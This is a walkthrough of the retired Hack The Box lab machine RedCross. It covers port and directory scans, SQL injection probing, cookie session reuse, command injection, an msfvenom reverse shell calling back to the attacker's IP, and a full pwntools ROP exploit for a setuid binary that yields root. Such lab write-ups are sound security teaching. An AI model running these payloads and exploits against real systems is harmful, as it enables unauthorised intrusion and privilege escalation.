This post documents the complete walkthrough of RedCross, a retired vulnerable VM created by ompamo, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

RedCross is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.113 --rate=1000 Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-01-10 02:08:52 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 80/tcp on 10.10.10.113 Discovered open port 443/tcp on 10.10.10.113 Discovered open port 22/tcp on 10.10.10.113

masscan finds 22/tcp , 80/tcp and 443/tcp open. This is how the site looks like in a browser.

Interesting. It seems to redirect to https://intra.redcross.htb/ . Let’s map 10.10.10.113 to intra.redcross.htb in /etc/hosts and then try again.

Awesome. This must be the first attack surface. As I was casually glancing over the HTML source, I noticed the presence of a directory /pages .

This seems to suggest that I should fuzz for directories.

Directory/File Enumeration

Let’s use wfuzz with a big directory wordlist from DirBuster.

# wfuzz -w dirbuster.txt --hc 404 -t 50 https://intra.redcross.htb/FUZZ ******************************************************** * Wfuzz 2.3.1 - The Web Fuzzer * ******************************************************** Target: https://intra.redcross.htb/FUZZ Total requests: 81629 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000002: C=301 9 L 28 W 327 Ch "images" 000160: C=301 9 L 28 W 326 Ch "pages" 000395: C=301 9 L 28 W 334 Ch "documentation" 000998: C=301 9 L 28 W 331 Ch "javascript" 041982: C=302 0 L 26 W 463 Ch "" Total time: 354.2614 Processed Requests: 81629 Filtered Requests: 81624 Requests/sec.: 230.4201

The /documentation directory is definitely interesting. Let’s go deeper. I’ll be introducing another wordlist containing file extension of common documents.

# wfuzz -w dirbuster.txt -w extensions.txt --hc 404 -t 50 https://intra.redcross.htb/documentation/FUZZFUZ2Z ******************************************************** * Wfuzz 2.3.1 - The Web Fuzzer * ******************************************************** Target: https://intra.redcross.htb/documentation/FUZZFUZ2Z Total requests: 489774 ================================================================== ID Response Lines Word Chars Payload ================================================================== 251887: C=403 11 L 32 W 308 Ch " - " 261712: C=200 259 L 1220 W 24694 Ch "account-signup - .pdf" 331664: C=404 9 L 32 W 307 Ch "100000 - .doc"^C Finishing pending requests...

I got what I wanted so there’s really no need to complete the fuzz. Here’s how it looks like.

It gives the details on how to request for credentials on the contact page. Let’s try it out.

Damn. I could have guessed it! The guest credentials work alright.

It’s interesting to note a database error when I tried to filter with a single quote.

Let’s try again with a percent sign which is wildcard in MySQL.

What do we have here? Internal messages and usernames! The messages appear to be discussing about an Admin Web Panel.

Let’s map 10.10.10.113 to admin.redcross.htb in /etc/hosts too.

Sweet. Another attack surface.

intra.redcross.htb

admin.redcross.htb

Notice a different set of cookies for the admin vhost? Maybe a session replay attack will work here? Let’s reuse the session already established in intra and apply it to admin .

Sweet.

chroot ‘d Jail in SSH

There’s a functionality in the admin panel to add users to a chroot ‘d jail in SSH.

Let’s go ahead and add ourselves to the list.

I can log in alright, to a jail.

Well, all is not lost. Penelope left a gift.

For brevity’s sake, I’ll not display the source code. Suffice to say, the source code will help us in achieving privilege escalation later on.

Low-Privilege Shell

Moving on to the Admin Panel and despite what Network Access sounds like, it has nothing to do with access control. It actually contains an input validation vulnerability that we can exploit for remote command execution.

If I have to guess, I would say that the Network Access makes use of the iptctl binary to control iptables . I’m also betting ipctl is setuid to root .

And guess what? We have the source code to iptctl for comparison, courtesy of Penelope.

The PHP code could look something like this whenever it receives a request to deny some IP address.

<?php system ( "/opt/iptctl/ipctl restrict" . $ip ); ?>

What if the web application doesn’t do a good job in input validation?

It’s apparent from above that it doesn’t. Time to test out remote command execution!

I’m generating a reverse shell with msfvenom and hosting it with Python’s SimpleHTTPServer module. I’m going to assume the server is running 64-bit Linux.

# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.15.241 LPORT=1234 -f elf -o rev [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder or badchars specified, outputting raw payload Payload size: 74 bytes Final size of elf file: 194 bytes Saved as: rev

Host the reverse shell like so.

# python -m SimpleHTTPServer 80

Run a remote command like this.

The remote command execution works!

Time for shell.

Meanwhile at my nc listener, a reverse shell arrives…

Let’s upgrade our shell to a full TTY.

Privilege Escalation

During enumeration of www-data ’s account, I realized that the web application makes use of two database technologies in its PHP code: MySQL and PostgreSQL.

The intra-messaging app uses MySQL to store the messages and user authentication, while the admin control panel uses PostgresSQL for SSH user management and to keep track of the IP access grants.

Snippet of actions.php

You can clearly see the credentials to access the database.

The best part is—you can modify the passwd_table table. Here’s how it looks like.

Good. The dick user I created earlier is still around. Let’s change the columns to our advantage.

Notice I change the gid to sudo and the home directory to root . Let’s log in to dick ’s account again and make ourselves root .

Getting root.txt with a root shell is so damn easy.

Afterthought

For completeness’ sake, here’s user.txt .

In fact, penelope is running Haraka 2.8.8 on 1025/tcp . We can make use of EDB-ID 41162 to gain a low-privilege shell as penelope to read user.txt .

Furthermore, the intra-messaging app is susceptible to SQLi attacks. Two parameters in particular serve as the injection point: LIMIT cookie and o field in https://intra.redcross.htb/?page=app .

Finally, let’s take a shot at exploiting the setuid binary iptctl . Before we begin, note that the binary is a 64-bit ELF, ASLR is enabled, and you can’t execute CPU instructions on the stack.

I first noted a buffer overrun (BOF) vulnerability in the interactive function from the source code. There are two fgets one can use to exploit the vulnerability. One fgets reads from stdin to the &inputAction memory address, the other to &inputAddress memory address, which is closer to the saved return pointer. The idea is to use the second fgets to overwrite the saved return pointer with our own code. However, because fgets reads at most (BUFFSIZE - 1) bytes, the exploit has to be less than 360 bytes.

Let’s take a look at the source code just before we enter the interactive function.

Now, let’s take a good look at the interactive function.

Good thing the binary is a non position-independent executable (PIE), and as such, function address in the procedure linkage table (PLT) doesn’t change. Another blessing was the binary contained plenty of ROP gadgets for use. I was able to write sh using [email protected] to an address within bss , which also doesn’t change. Lastly, I used [email protected] and [email protected] to spawn a root shell.

There are plenty of tools out there that help to generate a list of ROP gadgets. I used ROPgadget.

# ROPgadgets --binary iptctl ... 0x00000000004006c2 : add rsp, 8 ; ret 0x0000000000400de3 : pop rdi ; ret 0x0000000000400de1 : pop rsi ; pop r15 ; ret 0x00000000004006c6 : ret

I used these ROP gadgets to chain together an exploit.

exploit.py

''' # ROPgadget --binary iptctl --memstr "sh" Memory bytes information ======================================================= 0x000000000040024f : 's' 0x000000000040046f : 'h' ''' from pwn import * shell = [ 0x40024f , 0x40046f ] # 's' and 'h' # front matter newline = "

" action = "show" offset = "A" * 8 address = "255.255.255.255 \x00 " writeme = 0x6020a0 # avoid start of bss payload = '' # bss is at 0x602090 [email protected] execvp = 0x400760 setuid = 0x400780 strcpy = 0x4006f0 # gadgets pop_rdi_ret = 0x400de3 pop_rsi_pop_ret = 0x400de1 ret = 0x4006c6 skip = 0x4006c2 # exploit format payload += action payload += newline payload += address payload += offset # write "sh" to 0x6020a0 - 112 bytes for i in range ( len ( shell )): payload += p64 ( pop_rsi_pop_ret ) payload += p64 ( shell [ i ]) payload += p64 ( skip ) payload += p64 ( pop_rdi_ret ) payload += p64 ( writeme + i ) payload += p64 ( strcpy ) payload += p64 ( ret ) # setuid(0) - 32 bytes payload += p64 ( pop_rdi_ret ) payload += p64 ( 0 ) payload += p64 ( setuid ) payload += p64 ( ret ) # execv("sh", 0) - 56 bytes payload += p64 ( pop_rsi_pop_ret ) payload += p64 ( 0 ) payload += p64 ( skip ) payload += p64 ( pop_rdi_ret ) payload += p64 ( writeme ) payload += p64 ( execvp ) payload += p64 ( ret ) payload += newline # write payload to file f = open ( 'payload' , 'wb' ) f . write ( payload ) f . close